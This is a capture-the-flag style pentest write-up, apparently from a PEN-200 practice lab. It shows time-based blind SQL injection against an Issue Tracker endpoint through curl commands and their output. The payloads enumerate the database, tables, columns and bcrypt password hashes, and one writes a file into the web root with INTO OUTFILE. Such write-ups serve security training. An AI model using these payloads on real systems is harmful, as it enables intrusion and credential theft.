SQL Injection


An SQL injection vulnerability has been identified during the code audit for the source code of the Issue Tracker application running on the target port 17445. The vulnerability is present at the priority parameter of the /issue/checkByPriority endpoint, where the SQL query, SELECT message FROM issue WHERE priority='"+priority+"', is made to thee backend MySQL database without any form of input sanitization.

Additionally, it prints out the entire SQL query. and there is a catch statement to print out SQL error message This would mean that injection query would be reflected(in-band) back to the user

/issue/checkByPriority Endpoint


Attempting to test out the discovered endpoint results in error 405. The error message indicates that GET request is not allowed. The Allow header also explicitly shows that it only accepts POST.

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ curl -I -X OPTIONS http://$IP:17445/issue/checkByPriority -H 'Cookie: JSESSIONID=A134259BAB7F3C9961108326B05054C7'
HTTP/1.1 200 
Allow: POST,OPTIONS
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Length: 0
Date: Sat, 08 Mar 2025 17:02:07 GMT

It only supports the POST method This is rather different from the source code as it accepts GET request.

Switching to POST works. However, the functionality is rather questionable

SQLi


Sending the ' character does not return the SQL query or the SQL error. This further supports the hypothesis that the extracted source code is outdated and there’s likely been an update Given there is no error message displayed, I would have to opt out to the time-based blind SQLi

Time-based Blind


┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(4) -- //" | grep -i real
 
real	4.13s
user	0.00s
sys	0.00s
cpu	0%
 
real	4.13s
user	0.00s
sys	0.00s
cpu	0%

' UNION SELECT SLEEP(4) -- // Time-based blind SQLi confirmed

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT IF(current_user() LIKE 'issue_user%',SLEEP(3),null) -- //" | grep -i real
 
real	3.07s
user	0.01s
sys	0.00s
cpu	0%
 
real	3.07s
user	0.00s
sys	0.00s
cpu	0%
 
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT IF(current_user() LIKE 'issue_user@localhost%',SLEEP(3),null) -- //" | grep real
 
real	3.07s
user	0.00s
sys	0.00s
cpu	0%
 
real	3.07s
user	0.00s
sys	0.00s
cpu	0%
 
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT IF(current_user()='issue_user@localhost',SLEEP(3),null) -- //" | grep real
 
real	3.06s
user	0.00s
sys	0.00s
cpu	0%
 
real	3.06s
user	0.00s
sys	0.00s
cpu	0%

' UNION SELECT IF(current_user()='issue_user@localhost',SLEEP(3),null) -- // The current user is issue_user@localhost

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT IF(version() LIKE '10.5.%',SLEEP(3),null) -- //" | grep real
 
real	3.06s
user	0.00s
sys	0.01s
cpu	0%
 
real	3.06s
user	0.00s
sys	0.00s
cpu	0%
 
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT IF(version()='10.5.8-MariaDB',SLEEP(3),null) -- //" | grep real     
 
real	3.06s
user	0.01s
sys	0.00s
cpu	0%
 
real	3.06s
user	0.00s
sys	0.00s
cpu	0%

' UNION SELECT IF(version()='10.5.8-MariaDB',SLEEP(3),null) -- // The version is 10.5.8-MariaDB

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT IF(database() LIKE 'issue_tracker%',SLEEP(3),null) -- //" | grep real
 
real	3.06s
user	0.01s
sys	0.00s
cpu	0%
 
real	3.06s
user	0.00s
sys	0.00s
cpu	0%
 
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT IF(database()='issue_tracker',SLEEP(3),null) -- //" | grep real     
 
real	3.09s
user	0.00s
sys	0.00s
cpu	0%
 
real	3.09s
user	0.00s
sys	0.00s
cpu	0%

' UNION SELECT IF(database()='issue_tracker',SLEEP(3),null) -- // The current DB is issue_tracker

Databases

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT IF(schema_name='information_schema',SLEEP(3),NULL) FROM information_schema.schemata -- //" | grep real 
 
real	3.06s
user	0.00s
sys	0.00s
cpu	0%
 
real	3.06s
user	0.00s
sys	0.00s
cpu	0%
 

' UNION SELECT IF(schema_name='information_schema',SLEEP(3),NULL) FROM information_schema.schemata -- // The default information_schema database

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(3) WHERE EXISTS (SELECT NULL FROM information_schema.schemata WHERE schema_name='issue_tracker') -- //" | grep real
 
real	3.06s
user	0.00s
sys	0.01s
cpu	0%
 
real	3.06s
user	0.00s
sys	0.00s
cpu	0%

' UNION SELECT SLEEP(3) WHERE EXISTS (SELECT NULL FROM information_schema.schemata WHERE schema_name='issue_tracker') -- // Then the current DB, issue_tracker

issue_tracker Tables

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.tables WHERE table_schema='issue_tracker' AND table_name='issue') -- //" | grep real  
 
real	2.08s
user	0.00s
sys	0.01s
cpu	0%
 
real	2.08s
user	0.00s
sys	0.00s
cpu	0%

The issue_tracker.issue table has already been enumerated

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.tables WHERE table_schema='issue_tracker' AND table_name='user_role') -- //" | grep real  
 
real	2.07s
user	0.00s
sys	0.01s
cpu	0%
 
real	2.07s
user	0.00s
sys	0.00s
cpu	0%
 
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.tables WHERE table_schema='issue_tracker' AND table_name='user') -- //" | grep real  
 
real	2.07s
user	0.00s
sys	0.01s
cpu	0%
 
real	2.07s
user	0.00s
sys	0.00s
cpu	0%
 

' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.tables WHERE table_schema='issue_tracker' AND table_name='user') -- // Both user_role and user tables within the issue_tracker DB has been already disclosed

issue_tracker.user_role Columns

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.columns WHERE table_schema='issue_tracker' AND table_name='user_role' AND column_name='user_id') -- //" | grep real
 
real	2.07s
user	0.00s
sys	0.00s
cpu	0%
 
real	2.07s
user	0.00s
sys	0.00s
cpu	0%
 
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.columns WHERE table_schema='issue_tracker' AND table_name='user_role' AND column_name='role_id') -- //" | grep real 
 
real	2.07s
user	0.01s
sys	0.00s
cpu	0%
 
real	2.07s
user	0.00s
sys	0.00s
cpu	0%

Confirmed user_id and role_id columns within the issue_tracker.user_role

issue_tracker.issue Columns

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.columns WHERE table_schema='issue_tracker' AND table_name='issue' AND column_name='id') -- //" | grep real
 
real	2.07s
user	0.00s
sys	0.00s
cpu	0%
 
real	2.07s
user	0.00s
sys	0.00s
cpu	0%
 
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.columns WHERE table_schema='issue_tracker' AND table_name='issue' AND column_name='message') -- //" | grep real
 
real	2.07s
user	0.00s
sys	0.00s
cpu	0%
 
real	2.07s
user	0.00s
sys	0.00s
cpu	0%
 
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.columns WHERE table_schema='issue_tracker' AND table_name='issue' AND column_name='priority') -- //" | grep real
 
real	2.07s
user	0.00s
sys	0.00s
cpu	0%
 
real	2.07s
user	0.00s
sys	0.00s
cpu	0%

Checking id, message, and priority columns

issue_tracker.user Columns

 
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.columns WHERE table_schema='issue_tracker' AND table_name='user' AND column_name='user_id') -- //" | grep real
 
real	2.06s
user	0.00s
sys	0.00s
cpu	0%
 
real	2.06s
user	0.00s
sys	0.00s
cpu	0%
 
 
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.columns WHERE table_schema='issue_tracker' AND table_name='user' AND column_name='username') -- //" | grep real
 
real	2.06s
user	0.00s
sys	0.00s
cpu	0%
 
real	2.06s
user	0.00s
sys	0.00s
cpu	0%
 
 
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.columns WHERE table_schema='issue_tracker' AND table_name='user' AND column_name='password') -- //" | grep real
 
real	2.07s
user	0.00s
sys	0.00s
cpu	0%
 
real	2.07s
user	0.00s
sys	0.00s
cpu	0%

Both issue_tracker.user.username and issue_tracker.user.password columns also have been enumerated

Credential Exfiltration

The web application uses bcrypt from org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM issue_tracker.user WHERE username='clinton') -- //" | grep real
 
real	2.07s
user	0.01s
sys	0.00s
cpu	0%
 
real	2.07s
user	0.00s
sys	0.00s
cpu	0%
 
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM issue_tracker.user WHERE username='dummy') -- //" | grep real  
 
real	2.07s
user	0.01s
sys	0.00s
cpu	0%
 
real	2.07s
user	0.00s
sys	0.00s
cpu	0%

Validating both clinton and dummy users

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM issue_tracker.user where username='clinton' AND password LIKE '$2%') -- //" | grep real 
 
real	2.07s
user	0.00s
sys	0.01s
cpu	0%
 
real	2.07s
user	0.00s
sys	0.00s
cpu	0%

' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM issue_tracker.user where username='clinton' AND password LIKE '$2%') -- // Either the backend MySQL instance or the web app itself is extremely unstable that poses a challenge to brute-forcing each character Or there might be a security measure in place to counter the brute-force attack, which seems to be getting back to the original state after a few minutes.

File Read

N/A

File Write

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT 'blah' INTO OUTFILE '/srv/html/test.txt' -- //" -s                      
<!DOCTYPE html>
<html lang="en">
	<head>
    	<meta charset="UTF-8">
    	<title>Issue Tracker</title>
		<link href="/css/bootstrap.min.css" rel="stylesheet" />
	</head>
	<body>
	    <section>
		<div class="container mt-4">
			
			<div>
 			<div>
 				<div style="float:left">
				<a href="/user/list" class="btn btn-primary">Users</a>
				<a href="/issue/list" class="btn btn-primary">Issues</a>
				</div>
				<div style="float:right">
	    	    <form action="/logout" method="post">
	            	<input type="submit" value="Sign Out"  class="btn btn-primary"/>
	        	</form>
	        	</div>
	        </div>
	        
        </div>
			<div style="clear:both;height:5px;"></div>
			<a href="/issue/add" class="btn btn-primary">New Issue</a>
			<br><br>
			<table class="table">
			<thead>
				<tr>
					<th>ID</th>
					<th>Message</th>
					<th>Priority</th>
					<th></th>
				</tr>
			</thead>
			<tbody>
				<tr>
					<td>1</td>
					<td>Apple Update Failed in my Macbook. Booted in brick mode.</td>
					<td>Unbreak</td>
					<td>
						<a href="/issue/edit/1" class="btn btn-warning">Edit</a>
						<a onclick="confirmDelete(&#39;/issue&#39;,1)" class="btn btn-danger">Delete</a>
					</td>
				</tr>
				<tr>
					<td>2</td>
					<td>Windows 10 keeps telling me to update, why?</td>
					<td>Normal</td>
					<td>
						<a href="/issue/edit/2" class="btn btn-warning">Edit</a>
						<a onclick="confirmDelete(&#39;/issue&#39;,2)" class="btn btn-danger">Delete</a>
					</td>
				</tr>
				<tr>
					<td>3</td>
					<td>Is allowed to use torrent sites in the corporate network?</td>
					<td>Normal</td>
					<td>
						<a href="/issue/edit/3" class="btn btn-warning">Edit</a>
						<a onclick="confirmDelete(&#39;/issue&#39;,3)" class="btn btn-danger">Delete</a>
					</td>
				</tr>
			</tbody>
			</table>
		</div>
	</section>
    	
		<script src="/js/jquery-3.4.1.js"></script>
		<script src="/js/sweetalert.min.js"></script>
		<script src="/js/bootstrap.min.js"></script>
		<script src="/js/main.js"></script>
	</body>
</html>

' UNION SELECT 'blah' INTO OUTFILE '/srv/html/test.txt' -- // Writing the test.txt file to the /srv/http directory. This directory is the root directory of the web application running on the target port 30455 and was exposed via the phpinfo.php file

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ curl http://$IP:30455/test.txt
blah

Confirmed Moving on to the Exploitation phase